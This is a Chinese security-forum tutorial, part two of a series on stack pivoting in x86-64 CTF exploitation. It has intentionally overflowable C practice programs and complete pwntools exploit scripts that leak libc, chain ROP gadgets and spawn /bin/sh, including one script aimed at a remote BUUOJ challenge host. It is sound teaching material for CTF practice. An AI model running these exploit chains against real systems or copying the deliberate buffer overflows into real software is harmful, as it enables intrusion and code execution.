首页
社区
课程
招聘
钉子户的迁徙之路(二)
发表于: 2024-5-8 08:45 2711

钉子户的迁徙之路(二)

2024-5-8 08:45
2711

说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm

4.三迁钉子户

1. 灵魂呼叫(question_5)

从上面分析可知由于 ret2csu 长度为 0x80,那么 migration 长度需要大于0x80,那么问题来了 migration 的长度不能再小了吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// question_5
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x10
char migration[LEN];   //逐渐改变参数长度
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char buf[0x30] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,buf,0x38);   //逐渐改变溢出长度
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64

我承认这个题目已经实属有点变态了,migration 长度只有2个字长,但buf却可以输入7个字长,其利用姿势连我本人也觉得有些诡异。为了说明这个问题,我们需要重新来审视一下汇编代码。

1.你使用过 call 吗?

在汇编代码中,调用其他函数一般有 2 种方式,一种是 call ,一种是 jmp(jcc) 。其中,大多是用 call 的形式,plt 表中使用的为 jmp 形式,如下图。

2.call read 移形换影

calljmp 的区别主要是 call(近跳转) 要将 ip 压栈,然后 ret 时将 ip 弹出。那么问题来了,如果我们 call 的是 read 函数,而此时写入数据又能够覆盖到存储 ip 的位置,那么,如果我们将 ip 修改,就能够返回到我们想要返回的地方,我将其成为 call read 移形换影,流程如下图。

那么此题的解决方式就是利用此方法将 0x100x38 拼接成足够长的栈帧进行攻击,流程如下图。

攻击脚本主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_6_x64'
    io = process(pwnfile)
    #io = remote('', )
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
 
    pop_rdi_ret=0x4012cb
    pop_rsi_r15_ret=0x4012c9
    leave_ret = 0x401228
    pop_rbp_ret = 0x401129
    call_read_buf_addr = 0x40120D
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    repc_addr = elf.symbols['dofunc']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x700  #需要测试得出
    n = 1  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
 
    '''
    一、布置栈帧  (根据题目可能与第二步调换)
    按照题目要求利用 leave ret 必须迁移到 migration 处
    先布置好栈
    '''  
    padding2rbp = 0x30
    payload_buf = flat(['a' * padding2rbp , migration])
     
 
    '''
    二、写入第一次迁移后的内容  (根据题目可能与第一步调换)
    puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧   
    '''
 
    payload_migration = flat([migration + padding2rbp + 0x8, call_read_buf_addr])
    sa('input1:\n',payload_migration)
    sa('input2:\n', payload_buf)
    sleep(0.5)
    '''
    利用 call_read_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |call read |        |retrun add|        |new r add |
    +----------+        +----------+        +----------+ 
    |          |        |          |        |          |
    +----------+  -->   +----------+  -->   +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |    rbp   |        |   rbp    |        |   rbp    |
    +----------+        +----------+        +----------+
    '''
    payload3 = flat([pop_rsi_r15_ret, target1_rbp , 0, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
    s(payload3)
     
    '''
    三、套路查找libc基地址
    '''
    payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
    s(payload4)
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
 
    '''
    四、写入 system + binsh
    由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') ,  放置到bss段较远的位置
    '''
    # 最终输出
    payload_migration = flat([migration + padding2rbp + 0x8, call_read_buf_addr])
    sa('input1:\n',payload_migration)  
    payload_buf = flat(['a' * padding2rbp , migration])   
    sa('input2:\n', payload_buf)
    sleep(0.5)
    payload7 = flat([pop_rsi_r15_ret, target1_rbp , 0, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
    s(payload7)
    sleep(0.5)
    payload8 = flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
    s(payload8)
     
    itr()

3.简单的长度变换(question_6)

当然,如果存在两次输入,在栈上写入数据与在bss段写入数据的长度可以有很多种组合方式,我们适当改变两者的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// question_6
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x30
char migration[LEN];   //逐渐改变参数长度
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x8] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,b,0x10);   //逐渐改变溢出长度
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64

同样使用 call read 移形换影进行攻击,流程不再赘述,主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_7_x64'
    io = process(pwnfile)
    #io = remote('', )
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
 
    pop_rdi_ret = 0x4012ab
    pop_rsi_r15_ret = 0x4012a9
    leave_ret = 0x401200
    pop_rbp_ret = 0x401129
    call_read_migration_addr = 0x4011C3
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    repc_addr = elf.symbols['dofunc']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x700  #需要测试得出
    n = 1  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
 
    '''
    一、布置栈帧  (根据题目可能与第二步调换)
    按照题目要求利用 leave ret 必须迁移到 migration 处
    先布置好栈
    '''
    padding2rbp = 0x8
    payload_buf = flat(['a' * padding2rbp , migration])
     
 
    '''
    二、写入第一次迁移后的内容  (根据题目可能与第一步调换)
    puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧   
    '''
    payload_migration = flat([target1_rbp , call_read_migration_addr])
    sa('input1:\n',payload_migration)
 
    sa('input2:\n', payload_buf)
    sleep(0.5)
    '''
    利用 call_read_migration_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
    +----------+        +----------+        +----------+
    | next rbp |        | next rbp |        | next rbp |
    +----------+        +----------+        +----------+
    |call read |        |retrun add|        | new r add|
    +----------+        +----------+        +----------+ 
    |          |        |          |        |          |
    +----------+  -->   +----------+  -->   +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    |          |        |          |        |          |
    +----------+        +----------+        +----------+
    '''
    payload3 = flat([0xdeadbeef , pop_rsi_r15_ret , target1_rbp , 0, read_sym , leave_ret])
    s(payload3)  
     
    '''
    三、套路查找libc基地址
    '''
    payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
    s(payload4)
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
 
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
 
    '''
    四、写入 system + binsh
    由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') ,  放置到bss段较远的位置
    '''
    # 最终输出
    payload_migration = flat([target1_rbp , call_read_migration_addr])
    sa('input1:\n',payload_migration)  
    payload_buf = flat(['a' * padding2rbp , migration])   
    sa('input2:\n', payload_buf)
    sleep(0.5)
    payload7 = flat([0xdeadbeef , pop_rsi_r15_ret , target1_rbp , 0, read_sym , leave_ret])
    s(payload7)
    sleep(0.5)
    payload8 = flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
    s(payload8)
     
    itr()

2.例题:gyctf_2020_borrowstack

此题找到的网上流传此题解法均为使用 one_gadget(可能比赛中出题人给出了 libc )。真实情况下,攻击者并不能期望能有靶机的 glibc ,并且也不能期望所有 one_gadget 都能够使用 ,下面我使用 read移形换影 进行攻击。

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './gyctf_2020_borrowstack'
    #io = process(pwnfile)
    io = remote('node4.buuoj.cn',25283 )
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
 
    pop_rdi_ret=0x400703
    pop_rsi_r15_ret=0x400701
    leave_ret = 0x400699
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    print(hex(elf.bss()))
    target_tmp_ebp = elf.symbols['bank'# 需要找到合适的转移目标 0x601080
    target1_ebp = elf.bss()+0x200
    n = 8  # n至少要大于3
    final_ebp = target1_ebp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = 0x400626
 
    # 一阶栈迁移
    # 最后的0x100可以适当改小一点
    padding2rbp = 96
    payload1 = flat(['a'*padding2rbp , target_tmp_ebp, leave_ret])
    delimiter = 'you want\n'
    sa(delimiter, payload1)
 
    # 二阶栈迁移   __libc_sigaction  中有一段  sub esp, 0x12c  target2_ebp 不易过低
    target2_ebp = target1_ebp + 0x500
    call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': target1_ebp, 'arg3': 0x100}
    pay_ret2csu = duchao_pwn_script.ret2csu_payload(call_func,leave_ret,0,0x4006E0,__rbp=p64(target1_ebp))
    print(hex(len(pay_ret2csu)))
 
    # 最后的0x100可以适当改小一点 栈迁移的距离很有讲究 原则上能大则大
    payload2 = flat([target1_ebp, pay_ret2csu])
    #duchao_pwn_script.dbg(io)
    sla('stack now!\n',payload2)
 
    pause()
    call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': target2_ebp, 'arg3': 0x100}
    pay_ret2csu = duchao_pwn_script.ret2csu_payload(call_func,leave_ret,0,0x4006E0,__rbp=p64(target2_ebp))
    payload3 = flat([target2_ebp , pop_rdi_ret , leak_func_got , puts_sym , pay_ret2csu])
    sl(payload3)
    pause()
    sleep(1)
 
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))  # 不同接受代码接受数量不同
    print(hex(leak_func_addr))
    # 以下代码为查找system及/bin/sh的地址
    system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print(hex(system_addr))
    print(hex(binsh_addr))
     
    # 最终输出
    call_func = {'func_addr':read_got , 'arg1': 1, 'arg2': final_ebp, 'arg3': 0x100}
    pay_ret2csu = duchao_pwn_script.ret2csu_payload(call_func,leave_ret,0,0x4006E0,__rbp=p64(final_ebp))
    payload3 = flat([final_ebp , pop_rdi_ret , binsh_addr , system_addr ])
    sleep(1)
 
    sl(payload3)
    itr()

5.致敬西湖论剑2021

西湖论剑2021有一道名为 blindpwn 题出的相当有意思,简单反编译之后如下图。

其攻击原理是 glibc2.27 之后的版本中 alarmread 函数中 syscall 距离函数顶部较近(如下图)。

因此,可以使用爆破的方式予以攻击,可以说,这个题目是将64位的 ret2dlresolve 直接提升了一个等级,并且为之后的 pwn 题扩展了很大的思路。此题网上讲解很多,就不再赘述,有兴趣的朋友可以自行查阅。此题江湖流传的版本是攻击 alarm 函数,我对此题改造后发现攻击 read 函数也可以。题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int main(){
    char buf[80] ;
    init_func();
    return read(0, buf, 0x500);
}

当然,本篇文章的主题是栈迁移不是爆破,以上题目可以请有兴趣的朋友自己试试,难度适中。当然,本篇文章主要是讲解栈迁移,所以我对题目做了如下调整。

6.鱼丸消失术——左右横跳之法(question_7)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[8] ;
    read(0,b,0x18);
    // puts("byebye!");
    return 0;
}
 
int main(){
    init_func();
    dofunc();
    return 0;
}
//gcc migration_11.c -fno-stack-protector -no-pie -o migration_11_x64

题目中 b 的空间只有 8 + 8(覆盖rbp) + 8(覆盖返回地址)= 24 个字节的长度,也就是说,程序只能覆盖到返回地址,并且可写的内容非常少,那么我们该如何攻击呢?我们可以利用一个无用的地址作为锚点反复利用call read流程在一个地址布置栈帧。

攻击脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_11_x64'
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
     
    csu_front_addr = 0x401218
    csu_back_addr = csu_front_addr + 0x1a
    leave_ret = 0x4011ba
    pop_rsi_r15_ret = 0x401239
    call_read_addr = 0x40119F
    call_read_addr_2 = 0x4011B0
    ret = 0x4011bb
    pop_r12_r13_r14_r15_ret = csu_back_addr + 2
     
     
    target1_rbp = elf.bss()+0x400
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x200
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x8
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
     
    # 脚本存在 gdb 无法调试的情况
    for i in range(0xbc,0xbc+1):
        try:          
            io = process(pwnfile)
            #duchao_pwn_script.dbg(io)
             
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x200}
            ret2csu_payload = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,gcc_ver='new' ,rbp = next_rbp_addr ) + p64(leave_ret)
             
            print(hex(len(ret2csu_payload)))
            print(ret2csu_payload[0:8])
             
             
            # 一、迁移          
            rbp_1 = target1_rbp
            payload1 = flat(['a' * padding2rbp , rbp_1 , call_read_addr])
            #pause()
            sleep(0.5)
            s(payload1)
                 
            # 二、布栈
             
            for j in range(len(ret2csu_payload)//8):
                '''          
                +----------+          +----------+
                |          |          |          |
                +----------+          +----------+
                | gadgat_1 |          | deadbeef |
                +----------+          +----------+
        rbp_1 ->|   rbp_2  |  rbp_2 ->| rbp_1+0x8|
                +----------+          +----------+
                | call read|          | call read|
                +----------+          +----------+
                |          |          |          |
                +----------+          +----------+
                |          |          |          |
                +----------+          +----------+
                |          |          |          |
                +----------+          +----------+
                '''
                rbp_2 = addr_tmp
                payload2 = flat([ ret2csu_payload[8*j:8*j+8] , rbp_2 , call_read_addr ])
                #pause()
                sleep(0.5)
                s(payload2)
                 
                '''          
                +----------+          +----------+               +----------+          +----------+
                |          |          |          |               |          |          |          | 
                +----------+          +----------+               +----------+          +----------+ 
                | gadgat_1 |          | deadbeef |               | gadgat_1 |          | deadbeef | 
                +----------+          +----------+               +----------+          +----------+ 
        rbp_1 ->|   rbp_2  |  rbp_2 ->| rbp_1+0x8|       rbp_1 ->| gadgat_2 |  rbp_2 ->| rbp_1+0x8| 
                +----------+          +----------+               +----------+          +----------+
                | call read|          | call read|   =======>    |  rbp_2   |          | call read| 
                +----------+          +----------+               +----------+          +----------+ 
                |          |          |          |               | call read|          |          | 
                +----------+          +----------+               +----------+          +----------+ 
                |          |          |          |               |          |          |          | 
                +----------+          +----------+               +----------+          +----------+ 
                |          |          |          |               |          |          |          | 
                +----------+          +----------+               +----------+          +----------+ 
                '''          
                payload3 = flat([ deadbeef ,rbp_1+8*(j+1) , call_read_addr ])
                #pause()
                sleep(0.5)
                s(payload3)
                 
            #duchao_pwn_script.dbg(io)           
            payload4  =  flat([ ret , rbp_1 - ( padding2rbp + 8 ) , leave_ret ]) 
            s(payload4)
                       
             
            #duchao_pwn_script.dbg(io)      
             
            # 二、布置迁移后的栈帧
            # 输入 /bin/sh\x00                       
            call_func_2 = {'func_addr':read_got , 'arg1': 0, 'arg2': bin_sh_addr, 'arg3': 8}
            ret2csu_payload_2 = duchao_pwn_script.ret2csu_payload(call_func_2 , 0 , csu_front_addr ,gcc_ver='new')
            # 爆破 read_got 最后一位找到 syscall
            call_func_3 = {'func_addr':read_got , 'arg1': 0, 'arg2': read_got, 'arg3': 1}
            ret2csu_payload_3 = duchao_pwn_script.ret2csu_payload(call_func_3 , 0 , csu_front_addr , gcc_ver='new')
            # 利用 syscall rax=1 为 sys_write 输出 0x3b 字节
            call_func_4 = {'func_addr':read_got , 'arg1': 1 , 'arg2': bin_sh_addr, 'arg3': 0x3b}
            ret2csu_payload_4 =  duchao_pwn_script.ret2csu_payload(call_func_4 , 0 , csu_front_addr , gcc_ver='new')
            # 利用 syscall rax = 0x3b 为 sys_execve  执行 execve("/bin/sh\x00",0,0)
            call_func_5 = {'func_addr':read_got , 'arg1': bin_sh_addr , 'arg2': 0, 'arg3': 0}
            ret2csu_payload_5 =  duchao_pwn_script.ret2csu_payload(call_func_5 , 0 , csu_front_addr , gcc_ver='new')
              
            payload = p64(ret) + ret2csu_payload_2 + ret2csu_payload_3 + ret2csu_payload_4 + ret2csu_payload_5
            payload =  payload.ljust(0x200,b'\x00')
            #pause()
            s(payload)
            sleep(0.5)
             
            # 输入 /bin/sh\x00
            #pause()
            s(b"/bin/sh\x00")
            sleep(0.5)         
            # 爆破 read_got 最后一位找到 syscall
            #duchao_pwn_script.dbg(io)
            #pause()
            pl = p8(i)
            s(pl)
            #pause()
            tmp = io.recv(timeout=3)
            if b'/bin/sh' in tmp and b'smashing' not in tmp:
                itr()
                break
            io.close()
        except:
            pass

**注意:**此种方法在ctf-wiki中有写,题目是2015-hitcon-readable,后来听TNT师傅告诉我的。哎,学而不思则罔,思而不学则殆。

地址:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#2015-hitcon-readable


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回